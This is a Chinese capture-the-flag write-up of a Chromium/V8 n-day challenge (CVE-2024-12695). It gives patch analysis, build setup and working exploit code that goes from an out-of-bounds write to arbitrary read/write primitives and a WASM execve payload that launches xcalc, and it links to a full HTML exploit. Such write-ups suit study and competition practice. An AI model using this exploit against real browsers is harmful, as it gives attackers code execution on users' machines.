本次强网杯线下赛中,我们与0x300R等师傅共同参赛。尽管其他队伍实力强劲,但受限于演示时间紧张,最终仅完成4题的Demo,其中就包括本篇详解的 monotint —— 一道基于 Chromium 139.0.7258.128 的浏览器 nday 利用题。
第一个坑:v8 沙箱误判
题目提供的 Chrome 版本为 139.0.7258.128,启动参数含 --no-sandbox,意味着一旦在 renderer 进程实现 RCE,即可直接执行任意代码。然而,该版本 V8 默认启用沙箱(v8_enable_sandbox=true),导致我误以为必须绕过 v8 sandbox 才能利用。
为此,我本地编译了一个开启 v8 沙箱的 Chromium,并基于此环境开发利用链。但赛后复盘发现:题目虚拟机实际并未编译 v8 沙箱(v8_enable_sandbox=false),整段沙箱逃逸逻辑完全未被触发,白白耗费大量调试时间。教训深刻:后续应优先在题目环境实测,而非依赖本地推测。
第二个坑:X11 权限与计算器弹出
公告与题目描述分离,导致我未及时注意到关键提示:为降低演示难度,允许“自选方式验证 RCE”。因此,我一度陷入复杂 shellcode 构造与 X11 认证绕过中。
最终,在队友 @leommxj 和 @m4x 协助下确认:只需正确设置 XAUTHORITY 与 DISPLAY 环境变量,即可在目标机器上稳定弹出 xcalc。核心命令如下:
export XAUTHORITY=/run/user/1000/.mutter-Xwaylandauth.* 2>/dev/null | head -1
export DISPLAY=:0
/bin/xcalc
该方案规避了 pku 内存保护对传统 JIT spray 的干扰,也无需依赖特定 CPU 指令集。
第三个坑:Intel 14代 CPU 的 PKU 保护
公告明确指出现场演示机为 Intel 14代 CPU,其支持 Protection Keys for Userspace (PKU)。我初期未向该方向思考,导致部分利用路径失败。
绕过方式其实简洁有效:
- 使用 WASM 函数封装
execve 调用(避免用户态内存被 PKU 标记为不可执行)
- 或采用 JIT spray 技术,将 shellcode 注入 V8 JIT 缓存区(该区域默认不受 PKU 限制)
题目信息
题目下发一个虚拟机,内含启动脚本与一份 V8 源码 diff:
/opt/chromium.org/chromium/chromium-browser --no-sandbox
Chrome 版本为 139.0.7258.128,对应 V8 版本为 13.9.205.19:

该 V8 版本基于 2025 年 8 月 4 日的提交(commit 50sec917b67c535519bebec58c62a34f145dd49f),虽非最新,但已足够支撑公开漏洞利用。事实上,同期 P0 发现的 CVE-2025-9132(Big Sleep)可直接复现——可惜赛前未做储备。
由于未提前准备 1day,我转向分析题目提供的 diff,很快定位到两个关键补丁点:

Diff 分析
diff --git a/v8/src/builtins/builtins-object-gen.cc b/v8/src/builtins/builtins-object-gen.cc
index b0aeb178..161d9bdf 100644
--- a/v8/src/builtins/builtins-object-gen.cc
+++ b/v8/src/builtins/builtins-object-gen.cc
@@ -511,13 +511,6 @@
TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
GotoIfNot(TaggedEqual(LoadElements(CAST(to)), EmptyFixedArrayConstant()),
&slow_path);
- // Ensure the properties field is not used to store a hash.
- TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to);
- GotoIf(TaggedIsSmi(properties), &slow_path);
- CSA_DCHECK(this,
- Word32Or(TaggedEqual(properties, EmptyFixedArrayConstant()),
- IsPropertyArray(CAST(properties))));
-
Label continue_fast_path(this), runtime_map_lookup(this, Label::kDeferred);
diff --git a/v8/src/objects/js-weak-refs.cc b/v8/src/objects/js-weak-refs.cc
index f125cc63..d6d0e36b 100644
--- a/v8/src/objects/js-weak-refs.cc
+++ b/v8/src/objects/js-weak-refs.cc
@@ -103,7 +103,7 @@
void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap(
Tagged<HeapObject> unregister_token = weak_cell->unregister_token();
uint32_t key = Smi::ToInt(Object::GetHash(unregister_token));
InternalIndex entry = key_map->FindEntry(isolate, key);
- CHECK(entry.is_found());
+ DCHECK(entry.is_found());
通过关键词搜索,迅速定位至 Chromium Issue Tracker 公开报告,并关联到 CVE-2024-12695 的完整分析与 PoC。
环境搭建
Chromium 编译(带调试符号)
git checkout 139.0.7258.128
gclient sync -D
cd v8
patch -p1 < ./patch
cd ../
gn gen out/x64.release
ninja -C out/x64.release -j 22 chrome
关键 gn 参数:
is_component_build = false
is_debug = false
symbol_level = 2
blink_symbol_level = 2
v8_symbol_level = 2
dcheck_always_on = false
is_official_build = false
chrome_pgo_phase = 0
v8_enable_sandbox = false
v8_enable_pointer_compression = true
D8 调试环境(推荐用于逆向分析)
gn gen out/x64.release_v8
ninja -C out/x64.release_v8 -j 22 d8
关键 gn 参数:
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false
symbol_level = 2
调试时需添加标志以启用调试内置函数:
--js-flags="--allow-natives-syntax" --auto-open-devtools-for-tabs
漏洞分析
Object.assign 缺少类型检查(CVE-2024-12695 核心)
原始代码中,ObjectAssign builtin 对 to 对象的 properties 字段进行了严格校验:
- 若
properties 是 Smi,则跳转至 slow_path
- 否则必须是
EmptyFixedArray 或 PropertyArray
补丁移除了该校验逻辑,使得 properties 字段可被设为任意类型(如 Smi 或 FixedArray),从而破坏对象内部结构一致性。
PoC 演示:
let target = {};
let unregister_token = {};
let registry = new FinalizationRegistry(() => {
print("Callback called");
});
registry.register(target, undefined, unregister_token);
%DebugPrint(unregister_token);
%SystemBreak();
Object.assign(unregister_token, {});
Object.assign(unregister_token, {});
%DebugPrint(unregister_token);
%SystemBreak();
注册后,unregister_token 会生成 hash 字段;连续两次 Object.assign 将其破坏为 FixedArray 类型,为后续利用铺路。

FinalizationRegistry 基础机制说明:
target:被 GC 监控的对象
undefined:回调执行时传入的值
unregister_token:取消注册令牌;注册后为其生成唯一 hash,用于 key_map 索引
SimpleNumberDictionary 越界写(CVE-2024-12695 触发点)
第二个补丁将 CHECK(entry.is_found()) 替换为 DCHECK(entry.is_found()),使 JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap 在未命中 key_map 时不再终止执行。
当 entry == -1(即未找到 hash),ClearEntry(-1) 被调用,进而触发 SetEntry:
template <typename Derived, typename Shape>
void Dictionary<Derived, Shape>::SetEntry(InternalIndex entry,
Tagged<Object> key,
Tagged<Object> value,
PropertyDetails details) {
DCHECK(Dictionary::kEntrySize == 2 || Dictionary::kEntrySize == 3);
DCHECK(!IsName(key) || details.dictionary_index() > 0 || !Shape::kHasDetails);
int index = DerivedHashTable::EntryToIndex(entry); // (-1 * 2) + 3 = 1
DisallowGarbageCollection no_gc;
WriteBarrierMode mode = this->GetWriteBarrierMode(no_gc);
this->set(index + Derived::kEntryKeyIndex, key, mode); // index=1, kEntryKeyIndex=0 → offset=1
this->set(index + Derived::kEntryValueIndex, value, mode); // index=1, kEntryValueIndex=1 → offset=2
if (Shape::kHasDetails) DetailsAtPut(entry, details);
}
EntryToIndex(-1) 计算得 index = 1,结合 kEntryKeyIndex = 0、kEntryValueIndex = 1,最终向 key_map 偏移 1 和 2 处写入 the_hole(0x7d9)。
SimpleNumberDictionary 结构如下:
slot[0]: kNumberOfElementsIndex(map)
slot[1]: kNumberOfDeletedElementsIndex(length)
slot[2]: kCapacityIndex(capacity)
slot[3+]: Entry 数组(每 Entry 占 2 slot)
因此,ClearEntry(-1) 实际覆盖了 kNumberOfDeletedElementsIndex 和 kCapacityIndex 字段,将 capacity 篡改为 0x7d9,造成越界读写能力。


验证结果:
0x3171003c002c: 0x00001c55 -> map
0x3171003c0030: 0x00000016 -> length
0x3171003c0034: 0x00000002 -> Elements
0x3171003c0038: 0x000007d9 -> DeletedElements ← 被篡改!
0x3171003c003c: 0x000007d9 -> Capacity ← 被篡改!

不稳定的越界 → 固定偏移任意写
JSFinalizationRegistry::RegisterWeakCellWithUnregisterToken 是关键枢纽函数:
通过控制 unregister_token 的 hash 值,可精准预测 WeakCell 在堆上的位置,从而实现 *(addr + 0x1c) = weak_cell_ptr 的任意地址写。


内存验证:
- 第一次 WeakCell(
0x2a1f0005d965)偏移 0x1c 处写入第二次 WeakCell 地址(0x2a1f0005d989)
- 第二次 WeakCell(
0x2a1f0005d989)偏移 0x20 处写入第一次 WeakCell 地址(0x2a1f0005d965)


补充说明:WeakCell 在 active_cells 中以 LIFO 方式组织,新节点头插,故 prev = undefined,next = old_cell;旧节点 prev = new_cell,next = undefined。
漏洞利用
利用流程分为五步:
- 获取越界的
key_map
- 预测
key_map 中某 entry 的 hash 值
- 利用预测 hash 实现固定偏移任意写,破坏数组
length
- 构造稳定 OOB 读写原语(AAR/AAW)
- 弹出计算器(X11 权限适配)
Step 1:构造越界 key_map
let undefined_value = 0x11;
let target = {};
let unregister_token = {};
let registry = new FinalizationRegistry(() => {
console.log(" Callback in");
console.log(" Callback out");
});
registry.register(target, undefined, unregister_token);
major_gc();
let victim_arr = [];
for (let i = 0; i < 0x1000; i++) {
victim_arr.push(build_kv(undefined_value, undefined_value));
}
major_gc();
let arr_with_hash_object = construct_hash_object();
Object.assign(unregister_token, {});
Object.assign(unregister_token, {});
target = null;
major_gc();
victim_arr 布置于 key_map 后方,作为越界写的目标缓冲区
arr_with_hash_object 用于后续 unregister 触发越界操作
- 每次关键操作后执行
major_gc() 确保内存布局稳定
Step 2:预测 hash 值
function corrupt_obj_get_hash(){
console.log(" Corrupt obj get in");
let corrupt_vic_idx = -1;
let corrupt_obj_idx = -1;
let corrupt_obj_hash = -1;
// HashField::kMax = 2^20 - 1 = 0xFFFFF
for (let current_hash = 1; current_hash < 0x100000; current_hash++) {
let fake_kv = build_kv(current_hash, undefined_value);
init_arr(victim_arr, fake_kv);
for (let i = 0; i < arr_with_hash_object.length; i++){
registry.unregister(arr_with_hash_object[i]);
}
corrupt_vic_idx = find_vic_idx(victim_arr, fake_kv);
if (corrupt_vic_idx == -1) continue;
init_arr(victim_arr, fake_kv);
for (let i = 0; i < arr_with_hash_object.length; i++){
registry.unregister(arr_with_hash_object[i]);
for (let j = 0; j < victim_arr.length; j++){
if (victim_arr[j] != fake_kv){
corrupt_obj_idx = i;
corrupt_obj_hash = current_hash;
%DebugPrint(victim_arr);
logg("corrupt_obj_idx",corrupt_obj_idx);
logg("corrupt_obj_hash",corrupt_obj_hash);
%SystemBreak();
break;
}
}
if ((corrupt_obj_idx != -1) && (corrupt_obj_hash != -1) ){
break;
}
}
if ((corrupt_vic_idx != -1) && (corrupt_obj_idx != -1) && (corrupt_obj_hash != -1)){
break;
}
}
console.log("[+] Corrupt vic idx: " + corrupt_vic_idx);
console.log("[+] Corrupt obj idx: " + corrupt_obj_idx);
console.log("[+] Corrupt obj hash: 0x" + corrupt_obj_hash.toString(16));
console.log(" Corrupt obj get out");
return [corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash];
}
- 构造
0x100000 个候选 fake_kv
- 通过
registry.unregister() 触发越界写,探测 victim_arr 中被修改的位置
- 成功率约
10000 / 0x100000 ≈ 10%
Step 3:构造 OOB Array
console.log(" Construct oob arr in");
let hash_obj = arr_with_hash_object[corrupt_obj_idx];
let oob_arr_addr_start = 0x1a0000;
let oob_arr_addr_end = 0x2000000;
let oob_arr_step = 0x100;
let oob_arr_init_val = lh_u32_to_f64(0xaaaaaaaa, 0xaaaaaaaa);
let oob_arr_idx = -1;
let tmp_weak_cell_val = -1;
let offset = 0x1c;
let align_offset = 0;
let oob_arr_element_addr = -1;
let oob_addr_element_offset = 0x1020;
let out_loop = false;
let oob_arr = [];
for (let i = 0; i < 0x100; i++){
oob_arr[i] = 1.1;
}
for (let i = oob_arr_addr_start; i < oob_arr_addr_end; i += oob_arr_step){
let fake_kv = build_kv(corrupt_obj_hash, i | 1);
victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv;
init_arr(oob_arr, oob_arr_init_val);
registry.register(hash_obj, undefined, hash_obj);
for (let j = 0; j < oob_arr.length; j++){
if (oob_arr[j] != oob_arr_init_val){
oob_arr_idx = j;
logg("oob_arr_idx",oob_arr_idx);
logg("oob_arr_addr",i);
tmp_weak_cell_val = f64_to_u32l(oob_arr[oob_arr_idx]);
if ((f64_to_u32l(oob_arr[oob_arr_idx]) & 0xff) == 0xaa){
tmp_weak_cell_val = f64_to_u32h(oob_arr[oob_arr_idx]);
align_offset = 1;
}
oob_arr_element_addr = i + offset - (oob_arr_idx) * 8 - align_offset * 4 - 8 ;
break;
}
}
if(oob_arr_element_addr > 0){
out_loop = true;
break;
}
}
let guess_obj_addr = -1;
let target_addr = -1;
let idx = 0;
guess_obj_addr = oob_arr_element_addr;
target_addr = guess_obj_addr+0x5+0x1;
let fake_kv = build_kv(corrupt_obj_hash, ((target_addr - 0x1c)));
victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv;
logg("oob_arr_element_addr",oob_arr_element_addr);
logg("target_addr",target_addr);
console.log(" Construct oob arr out");
registry.register(hash_obj, undefined, hash_obj);
oob_arr.length = 0x10000000;
- 遍历地址空间
[0x1a0000, 0x2000000],步长 0x100
- 每次构造
fake_kv,触发 registry.register,向 i + 0x1c 写入 WeakCell 指针
- 若该指针落入
oob_arr 元素区,则通过遍历定位 oob_arr 元素基址
- 最终通过错位字节 + resize,稳定控制
oob_arr.length
Step 4:构造 AAR/AAW 原语
let target_arr = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
let ref_arr = make_ref(target_arr);
let ab = new ArrayBuffer(0x100);
let ref_ab = make_ref(ab);
let dv = new DataView(ab);
let obj_arr = [{},{}];
let target_idx = -1;
for (let i = 0; i < 0x10000000; i++){
if (((oob_arr[i]) == 1.1) &&
((oob_arr[i+1]) == 2.2) &&
((oob_arr[i+2]) == 3.3) &&
((oob_arr[i+3]) == 4.4) &&
((oob_arr[i+4]) == 5.5)){
target_idx = i;
logg("target_idx",target_idx);
break;
}
}
if(target_idx == -1){
console.log("[x] Failed to find target_idx!");
return;
}
let target_arr_element_addr = oob_arr_element_addr + (target_idx) * 8;
let elements_confused_idx = target_idx + 0x50/8;
let obj_arr_idx_offset = 0x21;
let obj_arr_element_addr = target_arr_element_addr + (obj_arr_idx_offset) * 8;
logg("target_arr_element_addr",target_arr_element_addr);
logg("obj_arr_element_addr",obj_arr_element_addr);
function cage_read(addr){
addr = Number(addr);
if (addr & 1){
addr -= 1;
}
addr -= 7;
let org = f64_to_u64(oob_arr[elements_confused_idx]);
oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n));
let val = f64_to_u64(target_arr[0]);
oob_arr[elements_confused_idx] = u64_to_f64(org);
return val;
}
function cage_write(addr,val){
addr = Number(addr);
if (addr & 1){
addr -= 1;
}
addr -= 7;
logg("addr",addr);
let org = f64_to_u64(oob_arr[elements_confused_idx]);
oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n));
let org_val = f64_to_u64(target_arr[0]);
target_arr[0] = u64_to_f64(val);
oob_arr[elements_confused_idx] = u64_to_f64(org);
}
function addrof(obj){
obj_arr[0] = obj;
let ret = cage_read(obj_arr_element_addr);
return u64_to_u32_lo(ret);
}
function AAR(addr){
cage_write(ab_addr+0x24n,addr);
let ret = dv.getBigUint64(0,true);
return ret;
}
- 扫描
oob_arr 匹配 target_arr 内容,精确定位其内存地址
- 利用
oob_arr 修改 obj_arr[0] 的 map 或 elements 字段,实现 addrof 和 AAR
AAR 可读取任意地址,AAW 可写入任意地址,构成完整利用原语
Step 5:弹出计算器(X11 适配)
现场机器为 Intel 14代,启用 PKU 保护,直接执行 shellcode 会触发异常。解决方案是使用 WASM 封装 execve:
const wasm_bytes = new Uint8Array([
0,97,115,109,1,0,0,0,1,6,1,96,2,126,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,59,1,57,0,
66,200,146,158,134,137,146,228,245,2,66,200,146,218,142,163,154,228,245,2,66,234,246,
192,132,137,146,228,245,2,66,216,160,194,132,137,146,228,245,2,66,143,138,192,132,137,
146,228,245,2,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110
]);
const mod = new WebAssembly.Module(wasm_bytes);
const instance = new WebAssembly.Instance(mod);
const pwn = instance.exports.pwn;
// ... 构造 argv、envp、字符串地址 ...
pwn(sh_str_addr, argv_bc);
关键环境变量设置:
export XAUTHORITY=$(ls /run/user/1000/.mutter-Xwaylandauth.* 2>/dev/null | head -1)
export DISPLAY=:0
/bin/xcalc




完整利用脚本
全部 PoC 代码托管于 GitHub:
https://github.com/f1lyyy/V8-Exploit-Collection/tree/main/qwb_s9_final_monotint
该仓库包含完整 HTML exploit 页面,适配 Chrome 渲染器进程,可一键触发计算器弹窗。
如需深入理解 V8 内存管理与对象布局,推荐阅读云栈社区的 安全/渗透/逆向专题,涵盖 Reverse Engineering, Penetration Testing, Cryptanalysis, Exploit Development, CTF 等核心内容。